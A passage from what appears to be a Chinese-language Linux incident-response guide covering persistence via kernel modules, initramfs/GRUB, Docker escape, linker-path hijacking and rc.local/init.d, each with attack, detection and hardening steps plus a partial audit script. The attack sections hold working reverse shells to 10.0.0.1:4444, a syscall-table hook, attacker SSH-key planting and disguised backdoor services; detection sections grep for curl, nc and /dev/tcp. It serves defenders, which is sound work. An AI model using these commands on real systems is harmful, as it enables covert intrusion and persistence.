1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 lsinitramfs /boot/initrd.img-$(uname -r) | head -50 lsinitrd /boot/initramfs-$(uname -r).img 2>/dev/null | head -50 mkdir /tmp/initramfs-work && cd /tmp/initramfs-workunmkinitramfs /boot/initrd.img-$(uname -r) . cp /path/to/evil.ko ./lib/modules/$(uname -r)/echo "evil" >> ./conf/modulesfind . | cpio -o -H newc | gzip > /boot/initrd.img-$(uname -r) echo "evil" >> /etc/initramfs-tools/modulesupdate-initramfs -u echo 'add_drivers+=" evil "' > /etc/dracut.conf.d/custom.confdracut --force
8.5 攻击手法四:syscall table Hook 原理
内核模块可以修改系统调用表(sys_call_table),将合法的系统调用替换为恶意函数
例如 Hook sys_read、sys_getdents(ls 底层调用)来隐藏文件
Hook sys_kill 来防止进程被杀死
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include <linux/module.h> #include <linux/kallsyms.h> static unsigned long *sys_call_table;typedef asmlinkage long (*orig_getdents_t ) (unsigned int fd, struct linux_dirent __user *dirp, unsigned int count) ;static orig_getdents_t orig_getdents;asmlinkage long hooked_getdents (unsigned int fd, struct linux_dirent __user *dirp, unsigned int count) { long ret = orig_getdents(fd, dirp, count); return ret; } static int __init hook_init (void ) { sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table" ); orig_getdents = (orig_getdents_t )sys_call_table[__NR_getdents]; sys_call_table[__NR_getdents] = (unsigned long )hooked_getdents; return 0 ; }
8.6 深度检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 lsmod cat /proc/modulesdiff <(lsmod | awk '{print $1}' | sort ) \ <(cat /proc/modules | awk '{print $1}' | sort ) ls /sys/module/ | sort > /tmp/sys_modules.txtlsmod | awk 'NR>1{print $1}' | sort > /tmp/lsmod_modules.txt comm -23 /tmp/sys_modules.txt /tmp/lsmod_modules.txtcat /etc/modules 2>/dev/nullcat /etc/modules-load.d/*.conf 2>/dev/nullgrep -rn "^install" /etc/modprobe.d/ /lib/modprobe.d/ for mod in $(lsmod | awk 'NR>1{print $1}' ); do modinfo "$mod " 2>/dev/null | grep -E "^(filename|sig|signer)" done cat /etc/initramfs-tools/modules 2>/dev/nullcat /etc/dracut.conf.d/*.conf 2>/dev/nulldmesg | grep -iE "module|insmod|modprobe|loading" journalctl -k | grep -iE "module|loading" rkhunter --check --sk --rwo cat /proc/kallsyms | grep sys_call_table
8.7 清除与加固 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 rmmod evil_module 2>/dev/null find /lib/modules/$(uname -r)/ -name "evil.ko" -delete depmod -a grep -rn "evil" /etc/modules /etc/modules-load.d/ /etc/modprobe.d/ | head update-initramfs -u dracut --force auditctl -a always,exit -F arch =b64 -S init_module -S finit_module -k module_load
九、initramfs / GRUB 持久化 9.1 原理详解 Linux 启动全过程与攻击面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ┌────────────────────────────────────────────────────────────────┐ │ 阶段 1 : BIOS/UEFI │ │ → 固件级 Rootkit (极少见,国家级攻击) │ ├────────────────────────────────────────────────────────────────┤ │ 阶段 2 : GRUB Bootloader │ │ → /boot/grub/grub.cfg 注入恶意启动参数 │ │ → 替换 GRUB 二进制文件 │ ├────────────────────────────────────────────────────────────────┤ │ 阶段 3 : Linux Kernel + initramfs │ │ → initramfs 中嵌入恶意脚本/模块 │ │ → 内核命令行参数注入 (init=/evil.sh) │ ├────────────────────────────────────────────────────────────────┤ │ 阶段 4 : systemd / init │ │ → 已在 [17-Systemd-Service后门](/2026/04/04/Linux应急响应-17-Systemd-Service后门/) 中覆盖 │ ├────────────────────────────────────────────────────────────────┤ │ 阶段 5 : 用户空间服务与登录 │ │ → Crontab, Bashrc, PAM 等 (已覆盖) │ └────────────────────────────────────────────────────────────────┘
initramfs 详解
initramfs (initial RAM filesystem) 是一个 cpio 格式的压缩归档文件
内核启动后将其解压到内存中作为临时根文件系统
包含:必要的内核模块(磁盘驱动、文件系统驱动)、udev、mount 工具、init 脚本
initramfs 中的 /init 脚本负责挂载真正的根文件系统并切换过去(pivot_root/switch_root)
攻击者修改 initramfs 中的 /init 脚本或嵌入恶意模块 = 在 rootfs 挂载之前就拿到控制权
GRUB 配置注入
GRUB 配置分两层:
/etc/default/grub — 用户配置(update-grub 时作为输入)
/boot/grub/grub.cfg — 生成的最终配置(GRUB 直接读取)
攻击者可以修改内核命令行参数:
init=/path/to/evil — 替换 init 进程
rd.shell — 强制进入 initramfs shell
添加恶意的 initrd 行加载额外的 initramfs overlay
9.2 攻击实现 GRUB 配置注入 1 2 3 4 5 6 7 8 9 sed -i 's/GRUB_CMDLINE_LINUX=""/GRUB_CMDLINE_LINUX="init=\/tmp\/evil-init"/' \ /etc/default/grub update-grub
initramfs 注入恶意脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 cat > /etc/initramfs-tools/hooks/system-check << 'EOF' PREREQ="" prereqs (){ echo "$PREREQ " } case $1 in prereqs) prereqs; exit 0;; esac . /usr/share/initramfs-tools/hook-functions copy_exec /usr/local/sbin/early-init /sbin/early-init EOF chmod +x /etc/initramfs-tools/hooks/system-checkcat > /etc/initramfs-tools/scripts/init-bottom/system-check << 'EOF' PREREQ="" prereqs (){ echo "$PREREQ " } case $1 in prereqs) prereqs; exit 0;; esac cp /sbin/early-init ${rootmnt} /usr/local/sbin/early-initchroot ${rootmnt} /usr/local/sbin/early-init &EOF chmod +x /etc/initramfs-tools/scripts/init-bottom/system-checkupdate-initramfs -u
RHEL/CentOS dracut 方式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 mkdir -p /usr/lib/dracut/modules.d/99backdoorcat > /usr/lib/dracut/modules.d/99backdoor/module-setup.sh << 'EOF' check () { return 0; }install () { inst_hook pre-pivot 99 "$moddir /backdoor.sh" } EOF cat > /usr/lib/dracut/modules.d/99backdoor/backdoor.sh << 'EOF' /sbin/evil-binary & EOF chmod +x /usr/lib/dracut/modules.d/99backdoor/*.shdracut --force
9.3 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 cat /etc/default/grubgrep -n "init=" /etc/default/grub /boot/grub/grub.cfg cat /proc/cmdlinelsinitramfs /boot/initrd.img-$(uname -r) | grep -vE "^(lib/modules|usr/lib)" | head -50 lsinitrd /boot/initramfs-$(uname -r).img | head -50 ls -la /etc/initramfs-tools/hooks/ls -la /etc/initramfs-tools/scripts/init-bottom/ls -la /etc/initramfs-tools/scripts/init-top/ls -la /etc/initramfs-tools/scripts/local-bottom/ls -la /usr/lib/dracut/modules.d/sha256sum /boot/initrd.img-$(uname -r)sha256sum /boot/initramfs-$(uname -r).img 2>/dev/nullmkdir /tmp/initramfs-check && cd /tmp/initramfs-checkunmkinitramfs /boot/initrd.img-$(uname -r) . 2>/dev/null cat ./main/initgrep -rn "curl\|wget\|nc\|bash -i\|/dev/tcp" . ls -la /boot/stat /boot/initrd.img-$(uname -r)stat /boot/grub/grub.cfgdpkg --verify grub-common grub-pc 2>/dev/null rpm -V grub2-common 2>/dev/null
9.4 清除与加固 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 vim /etc/default/grub update-grub rm /etc/initramfs-tools/hooks/system-checkrm /etc/initramfs-tools/scripts/init-bottom/system-checkupdate-initramfs -u rm -rf /usr/lib/dracut/modules.d/99backdoordracut --force grub-mkpasswd-pbkdf2 mokutil --sb-state auditctl -w /boot/ -p wa -k boot_change auditctl -w /etc/default/grub -p wa -k grub_change
十、Docker/Container 逃逸持久化 10.1 原理详解 容器安全边界
Docker 容器通过 Linux namespaces(PID, NET, MNT, UTS, IPC, USER)和 cgroups 实现隔离
隔离不等于安全:多种配置错误可以导致攻击者从容器逃逸到宿主机
逃逸后攻击者获得宿主机 root 权限,然后在宿主机建立持久化
常见逃逸向量
逃逸方式
原理
严重度
--privileged 模式
容器拥有所有 Linux Capabilities + 设备访问
极高
-v /:/host 挂载宿主机根目录
直接读写宿主机文件系统
极高
Docker socket 暴露
容器内可以控制 Docker daemon
极高
--cap-add=SYS_ADMIN
可以挂载文件系统
高
--pid=host
共享宿主机 PID namespace
高
--net=host
共享宿主机网络栈
中
内核漏洞 (CVE)
利用容器运行时或内核漏洞
视漏洞而定
逃逸后持久化的完整攻击链
1 2 3 4 5 6 7 8 9 10 11 ┌──────────────┐ ┌──────────────────┐ ┌────────────────────┐ │ 攻击者控制 │────>│ 容器逃逸到宿主机 │────>│ 在宿主机建立持久化 │ │ 容器内 shell │ │ (获得 root 权限) │ │ (cron/systemd/...) │ └──────────────┘ └──────────────────┘ └────────────────────┘ │ ▼ ┌────────────────────┐ │ 控制 Docker daemon │ │ 创建后门容器 │ │ 修改容器镜像 │ └────────────────────┘
10.2 攻击实现 逃逸方式一:privileged 模式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 fdisk -l mkdir /mnt/hostmount /dev/sda1 /mnt/host echo "* * * * * root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" >> /mnt/host/etc/crontabmkdir -p /mnt/host/root/.sshecho "ssh-rsa AAAA... attacker@evil" >> /mnt/host/root/.ssh/authorized_keyscat > /mnt/host/etc/systemd/system/docker-health.service << 'EOF' [Unit] Description=Docker Health Monitor After=network.target [Service] ExecStart=/usr/local/bin/.docker-health Restart=always RestartSec=60 [Install] WantedBy=multi-user.target EOF cp /tmp/backdoor /mnt/host/usr/local/bin/.docker-healthchroot /mnt/host /bin/bash -c "systemctl enable docker-health.service"
逃逸方式二:Docker socket 暴露 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 docker run -d --privileged --name backdoor \ -v /:/host \ -v /var/run/docker.sock:/var/run/docker.sock \ alpine sh -c "while true; do sleep 3600; done" docker exec backdoor sh -c "chroot /host bash -c 'echo attacker_key >> /root/.ssh/authorized_keys'" cat > /tmp/Dockerfile << 'EOF' FROM ubuntu:latest RUN apt-get update && apt-get install -y netcat-openbsd CMD ["sh" , "-c" , "while true; do nc -e /bin/sh 10.0.0.1 4444; sleep 60; done" ] EOF docker build -t ubuntu:latest /tmp/
逃逸方式三:挂载宿主机目录 1 2 3 4 5 6 7 8 9 10 11 12 13 mount | grep "host" cat /proc/mountsls /host/etc/cat /host/etc/shadow echo "* * * * * root /tmp/.b" >> /host/etc/crontab
持久化方式:恶意 Docker 镜像 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 cat > /host/path/to/project/entrypoint.sh << 'EOF' (nohup bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' &>/dev/null &) exec "$@ " EOF
10.3 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 for cid in $(docker ps -q); do echo "=== Container: $(docker inspect --format '{{.Name}}' $cid) ===" docker inspect --format '{{.HostConfig.Privileged}}' $cid docker inspect --format '{{json .Mounts}}' $cid | python3 -m json.tool docker inspect --format '{{json .HostConfig.CapAdd}}' $cid docker inspect --format 'PidMode={{.HostConfig.PidMode}} NetworkMode={{.HostConfig.NetworkMode}}' $cid docker inspect --format '{{json .Mounts}}' $cid | grep -i "docker.sock" done docker ps --format '{{.ID}} {{.Names}}' | while read id name; do priv=$(docker inspect --format '{{.HostConfig.Privileged}}' $id ) mounts=$(docker inspect --format '{{range .Mounts}}{{.Source}}->{{.Destination}} {{end}}' $id ) caps=$(docker inspect --format '{{json .HostConfig.CapAdd}}' $id ) [ "$priv " = "true" ] && echo "PRIVILEGED: $name ($id )" echo "$mounts " | grep -q "docker.sock" && echo "DOCKER.SOCK: $name ($id )" echo "$mounts " | grep -qE "^/" && echo "HOST_MOUNT: $name ($id ) - $mounts " done cat /etc/docker/daemon.json 2>/dev/nulldocker images --digests for cid in $(docker ps -q); do echo "=== $(docker inspect --format '{{.Name}}' $cid) ===" docker top $cid done find / -name "docker-compose.yml" -o -name "docker-compose.yaml" -o -name "Dockerfile" 2>/dev/null
10.4 清除与加固 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 docker stop backdoor && docker rm backdoor docker rmi malicious-image:latest docker image prune -a cat > /etc/docker/daemon.json << 'EOF' { "no-new-privileges" : true , "userns-remap" : "default" , "live-restore" : true , "log-driver" : "json-file" , "log-opts" : { "max-size" : "10m" , "max-file" : "3" } } EOF docker run --security-opt apparmor=docker-default ... docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ... docker run --read-only --tmpfs /tmp ... docker bench security
十一、动态链接器配置劫持(非 LD_PRELOAD)
本节是对 19-LD_PRELOAD劫持 的补充,介绍除 LD_PRELOAD 之外的其他共享库注入方式
11.1 原理详解 动态链接器工作原理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 程序启动 │ ▼ 内核加载 ELF 二进制文件 │ ▼ 内核启动动态链接器 /lib/ld-linux-x86-64 .so .2 │ ├──1 . 检查 LD_PRELOAD(已在 19 页覆盖) │ → /etc/ld.so .preload │ → LD_PRELOAD 环境变量 │ ├──2 . 检查 RPATH/RUNPATH(编译时嵌入 ELF) │ → 二进制文件自身指定的库搜索路径 │ ├──3 . 检查 LD_LIBRARY_PATH 环境变量 │ ├──4 . 检查 /etc/ld.so .cache(ldconfig 生成的缓存) │ → 从 /etc/ld.so .conf 和 /etc/ld.so .conf .d/ 生成 │ └──5 . 默认路径 /lib, /usr/lib │ ▼ 找到库文件 → 加载到进程地址空间 → 解析符号 → 程序运行
本节覆盖的攻击面 (LD_PRELOAD 之外)
/etc/ld.so.conf.d/ — 添加恶意库搜索路径
ldconfig 缓存投毒 — 篡改共享库缓存
RPATH/RUNPATH 劫持 — 利用二进制中编译的路径
直接替换共享库文件
11.2 攻击手法一:ld.so.conf.d 路径注入 原理
/etc/ld.so.conf.d/ 目录下的 .conf 文件定义了共享库搜索路径
ldconfig 命令读取这些配置,生成 /etc/ld.so.cache 缓存
攻击者添加包含恶意库的目录 → 恶意库被优先加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 mkdir -p /usr/local/lib/x86_64-linux-gnu/securitycat > /tmp/evil.c << 'CEOF' // Hook getuid() 函数 uid_t getuid(void) { // 原始函数 uid_t (*orig_getuid)(void) = dlsym(RTLD_NEXT, "getuid" ); // 恶意操作:每次调用 getuid 时尝试回连 static int called = 0; if (!called) { called = 1; system("(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &) 2>/dev/null" ); } return orig_getuid(); } CEOF gcc -shared -fPIC -o /usr/local/lib/x86_64-linux-gnu/security/libpam_helper.so /tmp/evil.c -ldl echo "/usr/local/lib/x86_64-linux-gnu/security" > /etc/ld.so.conf.d/99-security-libs.confldconfig
11.3 攻击手法二:ldconfig 缓存投毒 原理
/etc/ld.so.cache 是 ldconfig 根据 /etc/ld.so.conf.d/ 生成的二进制缓存文件
动态链接器直接读取这个缓存来定位共享库
如果攻击者能修改缓存,可以让系统加载恶意版本的库
1 2 3 4 5 6 7 8 9 10 11 12 ldconfig -p | head -20 cp /lib/x86_64-linux-gnu/libpam.so.0 /lib/x86_64-linux-gnu/libpam.so.0.bak
11.4 攻击手法三:RPATH/RUNPATH 劫持 原理
ELF 二进制文件可以在编译时通过 -rpath 或 -runpath 指定额外的库搜索路径
这些路径嵌入在 ELF 文件的 .dynamic 段中
如果程序使用了 RPATH 且路径可写,攻击者可以在该路径放置恶意库
1 2 3 4 5 6 7 8 9 10 11 12 find /usr/bin /usr/sbin /usr/local/bin -type f -executable -exec sh -c ' rpath=$(readelf -d "$1" 2>/dev/null | grep -E "RPATH|RUNPATH") if [ -n "$rpath" ]; then echo "$1: $rpath" fi ' _ {} \;cp malicious.so /opt/app/lib/libcrypto.so.1.1
$ORIGIN 劫持
RPATH 中的 $ORIGIN 表示二进制文件所在目录
如果二进制文件所在目录可写,攻击者可以在同目录放置恶意库
1 2 3 4 find /usr -type f -executable -exec sh -c ' readelf -d "$1" 2>/dev/null | grep -q "ORIGIN" && echo "$1" ' _ {} \; 2>/dev/null
11.5 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ls -la /etc/ld.so.conf.d/cat /etc/ld.so.conf.d/*.conffor f in /etc/ld.so.conf.d/*.conf; do dpkg -S "$f " 2>/dev/null || rpm -qf "$f " 2>/dev/null || echo "ORPHAN: $f " done ldconfig -p | awk '{print $NF}' | sort | uniq -c | sort -rn | head ldconfig -p | grep -vE "^|/lib/|/usr/lib/" | head cat /etc/ld.so.preload 2>/dev/nullenv | grep LD_grep -rn "LD_LIBRARY_PATH\|LD_PRELOAD" /etc/profile /etc/profile.d/ \ /etc/bash.bashrc /root/.bashrc /home/*/.bashrc 2>/dev/null dpkg --verify libc6 libpam0g libssl1.1 2>/dev/null rpm -V glibc pam openssl-libs 2>/dev/null find /usr/local/bin /opt -type f -executable -exec sh -c ' readelf -d "$1" 2>/dev/null | grep -qE "RPATH|RUNPATH" && \ echo "$1: $(readelf -d "$1" 2>/dev/null | grep -E "RPATH|RUNPATH")" ' _ {} \; 2>/dev/null
11.6 清除与加固 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 rm /etc/ld.so.conf.d/99-security-libs.confldconfig apt install --reinstall libc6 libpam-modules yum reinstall glibc pam auditctl -w /etc/ld.so.conf.d/ -p wa -k ld_conf_change auditctl -w /etc/ld.so.preload -p wa -k ld_preload_change auditctl -w /etc/ld.so.cache -p wa -k ld_cache_change
十二、rc.local 与 init.d 持久化(深入补充)
本节是对 08-服务与启动项审计 中 rc.local 部分的深入补充
12.1 原理详解:rc.local 在 systemd 时代 历史背景
rc.local 是 SysVinit 时代的「万能启动脚本」,在所有服务启动完成后执行
systemd 时代,rc.local 通过 rc-local.service 兼容层继续支持
很多管理员认为 rc.local 已经「过时」而不再检查,攻击者正好利用这一点
systemd 如何执行 rc.local
1 2 3 4 5 6 7 8 9 10 11 systemd 启动 │ ▼ multi-user.target │ ▼ rc-local .service (compat) │ 条件:/etc/rc.local 存在且可执行 │ ▼ 以 root 权限执行 /etc/rc.local
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 systemctl cat rc-local.service
rc.local 的特殊性
以 #!/bin/sh 开头,以 exit 0 结尾
在 exit 0 之前的所有命令都以 root 权限执行
很多系统默认 rc.local 不存在或为空(攻击者可能从头创建)
12.2 攻击实现 rc.local 后门 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 cat > /etc/rc.local << 'EOF' /usr/local/sbin/system-optimizer & exit 0EOF chmod +x /etc/rc.localsystemctl enable rc-local.service 2>/dev/null systemctl daemon-reload
在已有 rc.local 中注入(更隐蔽) 1 2 sed -i '/^exit 0/i # Network stack optimization\n/usr/local/sbin/.net-tune &' /etc/rc.local
init.d 脚本后门 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 cat > /etc/init.d/system-monitor << 'EOF' case "$1 " in start) echo "Starting system-monitor..." /usr/local/sbin/.sys-monitor & ;; stop) echo "Stopping system-monitor..." killall .sys-monitor 2>/dev/null ;; restart) $0 stop $0 start ;; status) pgrep -x .sys-monitor > /dev/null && echo "Running" || echo "Stopped" ;; *) echo "Usage: $0 {start|stop|restart|status}" exit 1 ;; esac exit 0EOF chmod +x /etc/init.d/system-monitorupdate-rc.d system-monitor defaults chkconfig --add system-monitor
LSB Init Header 的重要性
### BEGIN INIT INFO 到 ### END INIT INFO 之间是 LSB (Linux Standard Base) 头
定义了服务的依赖关系和运行级别
没有这个头的 init.d 脚本在某些系统上会被忽略
攻击者必须包含完整的 LSB 头才能确保脚本被正确执行
12.3 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ls -la /etc/rc.local /etc/rc.d/rc.local 2>/dev/nullcat /etc/rc.local 2>/dev/nulltest -x /etc/rc.local && echo "EXECUTABLE - will run at boot" || echo "Not executable" systemctl status rc-local.service stat /etc/rc.local 2>/dev/nullls -la /etc/init.d/for f in /etc/init.d/*; do [ -f "$f " ] || continue dpkg -S "$f " 2>/dev/null || rpm -qf "$f " 2>/dev/null || echo "ORPHAN: $f " done for f in /etc/init.d/*; do [ -f "$f " ] || continue grep -lE "(curl|wget|nc |ncat|bash -i|/dev/tcp|python|perl|base64|nohup)" "$f " && \ echo "^^^ Suspicious: $f " done ls -la /etc/rc*.d/ 2>/dev/null | grep -v "^total\|^$\|^/" chkconfig --list 2>/dev/null
12.4 清除与加固 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 vim /etc/rc.local chmod -x /etc/rc.localsystemctl disable rc-local.service systemctl mask rc-local.service update-rc.d system-monitor remove rm /etc/init.d/system-monitor auditctl -w /etc/rc.local -p wa -k rc_local auditctl -w /etc/init.d/ -p wa -k init_d
十三、Linux 持久化完整排查 Checklist 13.1 持久化位置全景表
序号
持久化技术
检查位置
详细参考页
1
Crontab 计划任务
/var/spool/cron/, /etc/crontab, /etc/cron.d/, /etc/cron.{daily,hourly,weekly,monthly}/
15-Crontab后门
2
at 一次性任务
/var/spool/at/, atq 输出
本页 第一节
3
Systemd Timer
systemctl list-timers --all
07-计划任务审计
4
SSH authorized_keys
/root/.ssh/authorized_keys, /home/*/.ssh/authorized_keys
16-SSH-authorized_keys后门
5
Systemd Service
/etc/systemd/system/, /usr/lib/systemd/system/, ~/.config/systemd/user/
17-Systemd-Service后门
6
Bashrc/Profile
/etc/profile, /etc/profile.d/, /etc/bash.bashrc, ~/.bashrc, ~/.bash_profile, ~/.profile
18-Bashrc与Profile后门
7
LD_PRELOAD
/etc/ld.so.preload, LD_PRELOAD 环境变量
19-LD_PRELOAD劫持
8
PAM 后门
/etc/pam.d/, /lib/security/, /etc/security/
20-PAM后门
9
Rootkit (LKM)
lsmod, /proc/modules, /sys/module/
21-Rootkit检测
10
SUID 后门
find / -perm -4000
22-SUID后门
11
Alias 后门
alias, ~/.bashrc 中的 alias 定义
23-Alias后门
12
Vim Modeline
~/.vimrc, 文件末尾的 vim: 行
24-Vim-Modeline后门
13
SSH 软链接
find / -type l -name "sshd"
25-SSH软链接后门
14
inetd/xinetd
/etc/inetd.conf, /etc/xinetd.d/
26-inetd与xinetd后门
15
反弹 Shell
网络连接分析
27-反弹Shell技术与检测
16
udev 规则
/etc/udev/rules.d/, grep RUN+=
本页 第二节
17
Git Hooks
find / -path "*/.git/hooks/*" -executable
本页 第三节
18
APT/YUM Hook
/etc/apt/apt.conf.d/, /etc/yum/pluginconf.d/
本页 第四节
19
Trap 命令
grep "trap " ~/.bashrc /etc/bash.bashrc
本页 第五节
20
Linux Capabilities
getcap -r / 2>/dev/null
本页 第六节
21
motd 后门
/etc/update-motd.d/
本页 第七节
22
内核模块自动加载
/etc/modules-load.d/, /etc/modprobe.d/ install 指令
本页 第八节
23
initramfs/GRUB
/boot/, /etc/default/grub, initramfs 内容
本页 第九节
24
Docker 逃逸持久化
docker inspect, Docker 配置
本页 第十节
25
动态链接器配置
/etc/ld.so.conf.d/, RPATH/RUNPATH
本页 第十一节
26
rc.local / init.d
/etc/rc.local, /etc/init.d/
本页 第十二节
13.2 一键排查脚本
以下脚本汇总检查所有已知的 Linux 持久化位置,适合在应急响应初期快速排查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 #!/bin/bash RED='\033[0;31m' YELLOW='\033[1;33m' GREEN='\033[0;32m' CYAN='\033[0;36m' NC='\033[0m' section () { echo "" echo -e "${CYAN} ================================================================${NC} " echo -e "${CYAN} [*] $1${NC} " echo -e "${CYAN} ================================================================${NC} " } warn () { echo -e "${YELLOW} [!] $1${NC} " } alert () { echo -e "${RED} [!!!] $1${NC} " } ok () { echo -e "${GREEN} [OK] $1${NC} " } section "1/26 - Crontab 计划任务" echo "--- 系统级 crontab ---" cat /etc/crontab 2>/dev/nullecho "--- /etc/cron.d/ ---" ls -la /etc/cron.d/ 2>/dev/nullfor f in /etc/cron.d/*; do [ -f "$f " ] && echo "=== $f ===" && cat "$f " done echo "--- 用户级 crontab ---" for dir in /var/spool/cron/crontabs /var/spool/cron; do if [ -d "$dir " ]; then for f in "$dir " /*; do [ -f "$f " ] && echo "=== $f ===" && cat "$f " done fi done echo "--- cron.daily/hourly/weekly/monthly ---" for period in daily hourly weekly monthly; do echo "--- /etc/cron.$period / ---" ls -la /etc/cron.$period / 2>/dev/null done section "2/26 - at 一次性任务" if command -v atq &>/dev/null; then atq 2>/dev/null count=$(atq 2>/dev/null | wc -l) if [ "$count " -gt 0 ]; then warn "发现 $count 个 at 任务" for job in $(atq 2>/dev/null | awk '{print $1}' ); do echo "--- Job $job ---" at -c "$job " 2>/dev/null | tail -5 done else ok "at 队列为空" fi else ok "at 命令不可用" fi ls -la /var/spool/at/ 2>/dev/nullsection "3/26 - Systemd Timers" systemctl list-timers --all --no-pager 2>/dev/null section "4/26 - SSH authorized_keys" for home in /root /home/*; do ak="$home /.ssh/authorized_keys" if [ -f "$ak " ]; then echo "--- $ak ---" wc -l "$ak " cat "$ak " fi done section "5/26 - Systemd Services (非系统默认)" systemctl list-unit-files --type =service --state=enabled --no-pager 2>/dev/null echo "--- 用户自定义 unit 文件 ---" find /etc/systemd/system/ -name "*.service" -type f 2>/dev/null | while read f; do dpkg -S "$f " 2>/dev/null || rpm -qf "$f " 2>/dev/null || echo "ORPHAN: $f " done section "6/26 - Bashrc / Profile 后门" for f in /etc/profile /etc/bash.bashrc /etc/profile.d/*.sh /root/.bashrc /root/.bash_profile /root/.profile /home/*/.bashrc /home/*/.bash_profile /home/*/.profile; do [ -f "$f " ] || continue suspicious=$(grep -nE "(curl|wget|nc |ncat|bash -i|/dev/tcp|python.*import|perl -e|base64|eval|nohup)" "$f " 2>/dev/null) if [ -n "$suspicious " ]; then alert "可疑内容 in $f :" echo "$suspicious " fi done section "7/26 - LD_PRELOAD" echo "--- /etc/ld.so.preload ---" cat /etc/ld.so.preload 2>/dev/null || ok "文件不存在" echo "--- 环境变量 ---" env | grep -E "LD_PRELOAD|LD_LIBRARY_PATH" 2>/dev/null || ok "未设置" section "8/26 - PAM 模块" echo "--- 非标准 PAM 模块 ---" find /lib/security/ /lib64/security/ /usr/lib/security/ -name "*.so" 2>/dev/null | while read f; do dpkg -S "$f " 2>/dev/null || rpm -qf "$f " 2>/dev/null || echo "ORPHAN: $f " done section "9/26 - 内核模块 (LKM)" echo "--- 已加载模块数量 ---" lsmod | wc -l echo "--- 非签名模块 ---" for mod in $(lsmod | awk 'NR>1{print $1}' ); do sig=$(modinfo "$mod " 2>/dev/null | grep "^sig_id:" ) [ -z "$sig " ] && warn "无签名: $mod " done section "10/26 - SUID 文件" find / -perm -4000 -type f 2>/dev/null | while read f; do dpkg -S "$f " 2>/dev/null || rpm -qf "$f " 2>/dev/null || alert "ORPHAN SUID: $f " done section "11/26 - Alias 后门" for f in /root/.bashrc /home/*/.bashrc /etc/bash.bashrc; do [ -f "$f " ] || continue aliases=$(grep "^alias " "$f " 2>/dev/null) if [ -n "$aliases " ]; then echo "--- $f ---" echo "$aliases " fi done section "12/26 - Vim Modeline" for f in /root/.vimrc /home/*/.vimrc /root/.exrc /home/*/.exrc; do [ -f "$f " ] && echo "--- $f ---" && cat "$f " done section "13/26 - SSH 软链接" find / -type l -name "sshd" 2>/dev/null | while read f; do alert "SSH 软链接: $f -> $(readlink -f $f) " done section "14/26 - inetd / xinetd" [ -f /etc/inetd.conf ] && echo "--- /etc/inetd.conf ---" && cat /etc/inetd.conf [ -d /etc/xinetd.d/ ] && echo "--- /etc/xinetd.d/ ---" && ls -la /etc/xinetd.d/ section "15/26 - 反弹 